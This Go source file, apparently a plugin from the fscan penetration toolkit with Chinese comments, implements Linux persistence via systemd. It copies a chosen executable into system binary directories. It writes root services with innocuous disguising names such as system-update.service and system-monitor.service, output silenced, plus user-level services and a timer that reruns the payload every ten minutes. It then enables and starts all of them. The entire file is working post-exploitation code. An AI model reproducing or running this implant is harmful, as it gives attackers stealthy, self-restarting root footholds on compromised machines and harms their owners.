//go:build linux

package systemdservice

import (
	"context"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
type SystemdServicePlugin struct {
	*local.BaseLocalPlugin
	targetFile string
}

// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
func NewSystemdServicePlugin() *SystemdServicePlugin {
	// 从全局参数获取目标文件路径
	targetFile := common.PersistenceTargetFile
	if targetFile == "" {
		targetFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "systemdservice",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Linux 系统服务持久化插件，通过systemd服务实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "linux", "systemd", "service"},
		Protocols:   []string{"local"},
	}

	plugin := &SystemdServicePlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		targetFile:      targetFile,
	}

	// 只支持Linux平台
	plugin.SetPlatformSupport([]string{"linux"})
	// 需要root权限来创建系统服务
	plugin.SetRequiresPrivileges(true)

	return plugin
}

// Initialize 初始化插件
func (p *SystemdServicePlugin) Initialize() error {
	if p.targetFile == "" {
		return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
		return fmt.Errorf("目标文件不存在: %s", p.targetFile)
	}
	
	// 检查systemctl是否可用
	if _, err := exec.LookPath("systemctl"); err != nil {
		return fmt.Errorf("systemctl命令不可用: %v", err)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行系统服务持久化 - 简化版本
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	if runtime.GOOS != "linux" {
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("系统服务持久化只支持Linux平台"),
		}, nil
	}
	
	common.LogBase("开始系统服务持久化...")
	common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
	
	// 执行持久化操作
	results := make([]string, 0)
	
	// 1. 复制文件到系统目录
	servicePath, err := p.copyToServicePath()
	if err != nil {
		common.LogError(fmt.Sprintf("复制文件失败: %v", err))
	} else {
		results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
		common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
	}
	
	// 2. 创建systemd服务文件
	serviceFiles, err := p.createSystemdServices(servicePath)
	if err != nil {
		common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
	} else {
		results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
		common.LogSuccess("已创建systemd服务")
	}
	
	// 3. 启用并启动服务
	err = p.enableAndStartServices(serviceFiles)
	if err != nil {
		common.LogError(fmt.Sprintf("启动服务失败: %v", err))
	} else {
		results = append(results, "服务已启用并启动")
		common.LogSuccess("服务已启用并启动")
	}
	
	// 4. 创建用户级服务
	userServiceFiles, err := p.createUserServices(servicePath)
	if err != nil {
		common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
	} else {
		results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
		common.LogSuccess("已创建用户服务")
	}
	
	// 5. 创建定时器服务
	err = p.createTimerServices(servicePath)
	if err != nil {
		common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
	} else {
		results = append(results, "已创建systemd定时器")
		common.LogSuccess("已创建systemd定时器")
	}
	
	success := len(results) > 0
	
	result := &base.ScanResult{
		Success: success,
		Service: "SystemdServicePersistence",
		Banner:  fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
		Extra: map[string]interface{}{
			"target_file": p.targetFile,
			"platform":    runtime.GOOS,
			"methods":     results,
			"status":      "completed",
		},
	}
	
	return result, nil
}

// copyToServicePath 复制文件到服务目录
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
	// 选择服务目录
	serviceDirs := []string{
		"/usr/local/bin",
		"/opt/local",
		"/usr/bin",
	}
	
	var targetDir string
	for _, dir := range serviceDirs {
		if err := os.MkdirAll(dir, 0755); err == nil {
			targetDir = dir
			break
		}
	}
	
	if targetDir == "" {
		return "", fmt.Errorf("无法创建服务目录")
	}
	
	// 生成服务可执行文件名
	basename := filepath.Base(p.targetFile)
	serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
	if serviceName == "" {
		serviceName = "system-service"
	}
	
	targetPath := filepath.Join(targetDir, serviceName)
	
	// 复制文件
	err := p.copyFile(p.targetFile, targetPath)
	if err != nil {
		return "", err
	}
	
	// 设置执行权限
	os.Chmod(targetPath, 0755)
	
	return targetPath, nil
}

// copyFile 复制文件内容
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
	sourceData, err := os.ReadFile(src)
	if err != nil {
		return err
	}
	return os.WriteFile(dst, sourceData, 0755)
}

// createSystemdServices 创建systemd服务文件
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
	systemDir := "/etc/systemd/system"
	if err := os.MkdirAll(systemDir, 0755); err != nil {
		return nil, err
	}
	
	services := []struct {
		name     string
		content  string
		enable   bool
	}{
		{
			name:   "system-update.service",
			enable: true,
			content: fmt.Sprintf(`[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target

[Service]
Type=simple
User=root
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
`, execPath),
		},
		{
			name:   "system-monitor.service", 
			enable: true,
			content: fmt.Sprintf(`[Unit]
Description=System Monitor Service
After=network.target

[Service]
Type=forking
User=root
ExecStart=%s
PIDFile=/var/run/system-monitor.pid
Restart=on-failure
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
`, execPath),
		},
		{
			name:   "network-check.service",
			enable: false,
			content: fmt.Sprintf(`[Unit]
Description=Network Check Service
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath),
		},
	}
	
	var created []string
	for _, service := range services {
		servicePath := filepath.Join(systemDir, service.name)
		if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
			created = append(created, service.name)
		}
	}
	
	if len(created) == 0 {
		return nil, fmt.Errorf("无法创建任何systemd服务文件")
	}
	
	return created, nil
}

// enableAndStartServices 启用并启动服务
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
	var errors []string
	
	for _, serviceName := range serviceFiles {
		// 重新加载systemd配置
		exec.Command("systemctl", "daemon-reload").Run()
		
		// 启用服务
		if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
			errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
		}
		
		// 启动服务
		if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
			errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
		}
	}
	
	if len(errors) > 0 {
		return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
	}
	
	return nil
}

// createUserServices 创建用户级服务
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
	userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
	if userDir == "/.config/systemd/user" { // HOME为空的情况
		userDir = "/tmp/.config/systemd/user"
	}
	
	if err := os.MkdirAll(userDir, 0755); err != nil {
		return nil, err
	}
	
	userServices := []string{
		"user-service.service",
		"background-task.service",
	}
	
	userServiceContent := fmt.Sprintf(`[Unit]
Description=User Background Service
After=graphical-session.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
StandardOutput=null
StandardError=null

[Install]
WantedBy=default.target
`, execPath)
	
	var created []string
	for _, serviceName := range userServices {
		servicePath := filepath.Join(userDir, serviceName)
		if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
			created = append(created, serviceName)
			
			// 启用用户服务
			exec.Command("systemctl", "--user", "enable", serviceName).Run()
			exec.Command("systemctl", "--user", "start", serviceName).Run()
		}
	}
	
	return created, nil
}

// createTimerServices 创建定时器服务
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
	systemDir := "/etc/systemd/system"
	
	// 创建定时器服务文件
	timerService := fmt.Sprintf(`[Unit]
Description=Scheduled Task Service
Wants=scheduled-task.timer

[Service]
Type=oneshot
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath)
	
	// 创建定时器文件
	timerConfig := `[Unit]
Description=Run Scheduled Task Every 10 Minutes
Requires=scheduled-task.service

[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
AccuracySec=1s

[Install]
WantedBy=timers.target
`
	
	// 写入服务文件
	serviceFile := filepath.Join(systemDir, "scheduled-task.service")
	if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
		return err
	}
	
	// 写入定时器文件
	timerFile := filepath.Join(systemDir, "scheduled-task.timer")
	if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
		return err
	}
	
	// 启用定时器
	exec.Command("systemctl", "daemon-reload").Run()
	exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
	exec.Command("systemctl", "start", "scheduled-task.timer").Run()
	
	return nil
}

// GetLocalData 获取系统服务持久化本地数据
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	
	data["plugin_type"] = "systemdservice"
	data["platform"] = runtime.GOOS
	data["target_file"] = p.targetFile
	data["persistence_method"] = "Systemd Service"
	
	if hostname, err := os.Hostname(); err == nil {
		data["hostname"] = hostname
	}
	
	// 检查systemd版本
	if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
		data["systemd_version"] = strings.Split(string(output), "\n")[0]
	}
	
	return data, nil
}

// ExtractData 提取数据
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  fmt.Sprintf("系统服务持久化完成，目标文件: %s", p.targetFile),
		Data:    data,
		Extra: map[string]interface{}{
			"target_file":         p.targetFile,
			"persistence_method":  "Systemd Service",
			"status":             "completed",
		},
	}, nil
}

// GetInfo 获取插件信息
func (p *SystemdServicePlugin) GetInfo() string {
	var info strings.Builder
	
	info.WriteString("系统服务持久化插件\n")
	info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
	info.WriteString("支持平台: Linux (需要systemd)\n")
	info.WriteString("功能: 通过systemd服务实现持久化\n")
	info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
	info.WriteString("权限要求: 需要root权限创建系统服务\n")
	info.WriteString("自动启动: 开机自启动和崩溃重启\n")
	
	return info.String()
}

// RegisterSystemdServicePlugin 注册系统服务持久化插件
func RegisterSystemdServicePlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "systemdservice",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Linux 系统服务持久化插件，通过systemd服务实现持久化",
			Category:    "local",
			Tags:        []string{"systemdservice", "local", "persistence", "linux"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewSystemdServicePlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("systemdservice", factory)
}

// init 插件注册函数
func init() {
	RegisterSystemdServicePlugin()
}